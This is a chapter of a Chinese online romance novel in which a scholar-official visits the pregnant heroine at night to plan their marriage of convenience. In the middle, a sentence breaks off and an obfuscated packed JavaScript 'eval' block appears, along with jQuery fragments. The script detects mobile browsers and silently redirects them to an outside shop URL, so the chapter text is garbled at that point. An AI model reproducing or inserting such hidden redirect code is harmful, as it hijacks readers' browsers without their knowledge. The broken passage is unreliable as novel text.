第96章 江霁舟深夜来见她
作品:《女配重生带孕改嫁,世子悔疯了》 第九十六章江霁舟深夜来见她
“自然没有。”夏荷不假思索,脱口而出。
“我家小姐亦是遭人设计,若小姐对世子有意,当初事发之时便不会不作声,更不会拖延至今。”
夏荷大着胆子抬起头,认真解释道:“不瞒大人,世子至今……尚不知那夜之人是小姐。”
“小姐只想攒足银钱,日后带着小公子离开京城。无论去往何处,皆不愿再与世子有任何瓜葛。”
“求大人,帮一帮我家小姐。虽知此事对您极不公允,可我家小姐如今,已无路可退。”
说着,她眼圈一红,扑通跪倒,朝他重重磕了两个头。
江霁舟面色沉静,一时辨不出情绪,片刻,他开口道:
“起来吧。回去告诉你家小姐,今夜亥时,我去见她。”
“您要进王府见小姐?”夏荷吃了一惊。
“怎么?”江霁舟反问,“她不愿见我?”
夏荷连忙摆手:“不是不是,奴婢是怕,这般夜深入府,恐有不妥。”
“您明日不是要来下聘么?届时就可光明正大来见小姐。”
“我等不了。”江霁舟语气坚决。
若非顾忌礼法,他此刻便想闯入王府见她。
夏荷微怔,忙起身,朝他福身一礼:“奴婢记下了,这便回去转告小姐。”
“那,亥时奴婢在西侧后院小门候着,您从西侧后门来,莫从正门入。”
江霁舟略一颔首,算是应下。
夏荷得了准信,匆匆离开。
江霁舟垂眸,看向手中那页字迹娟秀的信笺,行至油灯架前,取出火折子点燃,将其投入熏炉之中。
火光跃动,顷刻间化为灰烬。
入夜,好不容易劝走萧月华,沈云贞遣退院中其他丫鬟,只留嬷嬷与夏荷、柳杏在旁。
离亥时尚有半个时辰,柳杏去小厨房煎药,嬷嬷则先去后门探路,打算寻个由头将拐叔支开。
不想她才出去片刻,一道黑影倏然从窗户跃入,惊得夏荷抓起手边花瓶便要砸去。
江霁舟转身,朝她比了个噤声的手势,“是我。”
夏荷一僵,愕然呆住。
“大、大人?怎会是您?您这是……”
沈云贞望着眼前一身玄色劲装的男人,身法矫捷,眉眼凌厉。
平日半披的墨发此刻尽数高束,整个人恍若脱胎换骨,气质与平日文雅模样判若两人。
她怔在原地,一时未能回神。
一直以来,她所见皆是他温润儒雅、谦和有礼的一面。
未料今夜,竟得见他如此截然不同的风姿。
江霁舟见她瞪圆了一双明眸,唇角悄悄一勾,对夏荷吩咐:
“出去守着,我与你家小姐说几句话。”
夏荷后知后觉,连忙转身退至门外,轻轻掩上房门。
沈云贞难以置信地将他从头到脚打量一遍,轻声问:
“你……会武?”
那俊朗的剑眉微微一扬,江霁舟缓步走到她床边,立在烛光里垂眸看她:
“我从未说过我不会。”
“可你一直……”都是一副文弱书生的模样。
后半句,沈云贞并未说出口。
江霁舟却轻轻一笑,在她床边坐下,柔声解释:
“江家虽已式微,祖上终究是世家大族,族中几位叔伯皆通武艺,家父生前亦如是。”
“故而我不止读书,亦自幼习武。”
说着,他微微倾身,将那张清隽俊逸的脸凑近她:
“我若当真是个手无缚鸡之力的文弱书生,又如何能带着族中子弟在外闯荡,攒下一些活命的家业?”
也是。
沈云贞忽而想起先前夏荷与她提过的那些传闻,了然一笑:
“早知大人出众,未料竟出众至此。”
得她一句赞,江霁舟唇畔弧度又深了几分。
沈云贞被他这般瞧着,有些不自在,稍稍向后挪了挪。
“抱歉,是我拖累了你。”
江霁舟嘴角笑意微凝,抬眼看向她,眸中掠过一丝不易察觉的黯淡:
“你……当真对宴世子无意?”
虽已从夏荷口中得了否认,但他仍想亲耳听她确认,方能心安。
沈云贞迎上他隐含期冀的目光,有片刻失神,随即摇头,神色认真:
“无意。”
江霁舟闻言,唇角轻轻一弯,低低“嗯”了一声。
“你在信中所言,我皆可应你,不过.....”他话锋一转,“我有三个条件。”
“当真?”沈云贞眸光一亮,“什么条件?你尽管提。”
她心下一松,不自觉地拉住他衣袖:“只要你肯相助,什么条件我都应你。”
“什么都应?”
江霁舟目光扫过她主动攀上自己手臂的纤指,眼底漾开一丝笑意。
沈云贞点头:“嗯,只要我能做得到。”
剑眉微挑,江霁舟坐直身子,失笑提醒她:
“你便不问问我欲提何要求?如此轻率应下,不怕将来后悔?”
沈云贞莞尔:“江大人是君子,我信你。”
江霁舟眸光微闪,偏过头低声自语:“我可不是什么君子。”
“什么?”沈云贞未听清,轻声询问。
“无事。”江霁舟移开话题,目光落向她小腹,“你身子现下如何?有几个月了?”
沈云贞垂眸,瞥了一眼自己的腹部,“两个多月。”她神色微黯,“眼下尚好,已服了药暂稳胎气。”
说着,她抬眼郑重保证:
“你放心,绝不会误了大婚之礼。”
“待礼成之
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17247314|197893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后,我会如信上所言,尽快寻个由头离开京城,将他处置妥当。”
江霁舟微讶:“你……不打算留?”
沈云贞摇头:“留不得。”
未料她如此果决,江霁舟看向她的目光又深了几分。
既然她已决定,他自然要助她一臂之力:
“你这般筹划,恐难行得通。”他如实道,“这亦是我今夜定要过来亲自见你一面的缘故。”
“为何?”沈云贞不解。
眼下于她而言,唯有此法可保全二人。
“陛下只给了我十日婚假。”
江霁舟如实作答,“大婚之后,我另有要务在身,还有可能要离开一段时间,其间,你无法离京。”
“什么?”沈云贞心下一惊,“你的意思是……”
江霁舟轻轻颔首:“嗯,正如你所想。”
“一把新刀出鞘,刀鞘必须握于主人手中。”
“否则,若刀锋失控,主人便不会安心用之。”
沈云贞听他此言,面色微微一白。
江霁舟不喜见她忧色,故作轻松一笑:“我来,便是要告诉你。”
“这婚,你我非结不可,至于孩子……”
他神色转为肃然:
“你若想生,他便是江霁舟的骨肉,大不了,损些声名,便说是我婚前对你情难自禁,酒后失仪,这才千方百计求娶于你。”
“若你当真不想要,大婚后亦不可立时落胎。须得等上一月,再寻个恰当的契机,如此方不惹人疑心。”
他顿了顿,凝眉思忖:
“否则,陛下遣在我身侧之人,极易察觉出端倪。”
沈云贞原以为只需熬过大婚,此后她悄然离去,便不会牵累于他。
未料,仍是她想得太过简单。
“对不住,我未料到会这般复杂,若是……”她很是愧疚。
江霁舟犹豫一瞬,终是伸手,轻轻握住她的手。
掌心温热传来,奇异地抚平了她心头的惶乱。
“此事非你之过,不必自责。”他温声安慰。
“若细论起来,实则是我需你之处更多。”
江霁舟坦然相告:“我婉拒了陛下赐婚,亦推却了太傅美意,若再推脱,便是不识抬举。”
“故而,若非此事阴差阳错促就你我的婚事,赏花宴后,我大抵会被迫娶亲。”
“至于娶的是陛下属意的哪位闺秀,连我自己都不知道。”
他淡雅一笑:“所以,如今是你我彼此需要,不必论谁亏欠了谁。”
知他是在宽慰自己,沈云贞心中感激,轻声道:
“多谢。”
两人还未商谈完,院中忽然传来夏荷一声略显惊慌的低呼:
“世子?您,您怎么过来了?”
“小姐,小姐她已经歇下。”

